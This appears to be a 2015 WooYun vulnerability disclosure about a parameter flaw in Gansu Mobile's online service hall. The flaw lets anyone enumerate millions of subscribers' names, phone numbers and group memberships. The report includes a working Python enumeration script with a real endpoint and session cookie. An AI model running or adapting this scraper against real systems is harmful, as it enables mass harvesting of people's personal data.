当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135806

漏洞标题:甘肃移动网上营业厅某业务参数控制不严格可遍历百万用户信息

相关厂商:甘肃移动

漏洞作者: 路人甲

提交时间:2015-08-23 11:23

修复时间:2015-10-10 08:32

公开时间:2015-10-10 08:32

漏洞类型:账户体系控制不严

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-23: 细节已通知厂商并且等待厂商处理中
2015-08-26: 厂商已经确认,细节仅向厂商公开
2015-09-05: 细节向核心白帽子及相关领域专家公开
2015-09-15: 细节向普通白帽子公开
2015-09-25: 细节向实习白帽子公开
2015-10-10: 细节向公众公开

简要描述:

甘肃移动网上营业厅我的V网业务,由于用户参数控制不严格,可遍历百万用户信息。

详细说明:

甘肃移动我的V网业务

1.png


抓包,发现有一个参数可控,如下图

2.png


漏洞证明:

甘肃移动我的V网业务

1.png


抓包,发现有一个参数可控,如下图

2.png


可编写脚本对参数进行遍历,获取用户姓名对应的电话号码以及群组关系

#coding=utf-8
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
import urllib2
import urllib
import json
import time
import socket
urllib2.socket.setdefaulttimeout=20
#打印提交及返回的数据包
def DebugData():
httpHandler = urllib2.HTTPHandler(debuglevel=1)
httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
opener = urllib2.build_opener(httpHandler, httpsHandler)
urllib2.install_opener(opener)
#数据包构造
def PostData(number):
DebugData()
value={"jsonParam":json.dumps([{"dynamicParameter":{"method":"queryVMemInfo","handleNum":"defaultHandle","applyNum":"myIndexBusiTransCDS","vpmnId":number},"dynamicDataNodeName":"loginCallBackActionNode"}])}
data=urllib.urlencode(value)
req=urllib2.Request("http://www.gs.10086.cn/service/businessDeal.do",data)
req.add_header("User-Agent","Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36")
cookie='''JSESSIONID=2BB5CAF7F90C9836F881ABC11B9EC2F6; SSOCookie="4C49AB43AF0542758D60A32803510DB9@gs.ac.10086.cn"; CmLocation=931|931; CmProvid=gs'''
req.add_header("Cookie",cookie)
req.add_header("Accept","text/plain")
req.add_header("X-Requested-With","XMLHttpRequest")
req.add_header("Referer","http://www.gs.10086.cn/service/my/myindex.html")
response=urllib2.urlopen(req,timeout=10)
print response.read().decode("utf-8").encode("gbk")

for number in range(2007000000,2009000000):
PostData(number)


运行截图如下

3.png


修复方案:

对用户查询参数做限制

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-26 08:31

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-15 12:56 | 小红猪 ( 普通白帽子 | Rank:194 漏洞数:30 | Wow~~~哈哈~~~)

    洞主,你暴露了

  2. 2015-09-16 22:29 | strong ( 路人 | Rank:28 漏洞数:5 | 一起学习,一起成长)

    @小红猪 我能告诉你,那个电话号码是我搞的别人的吗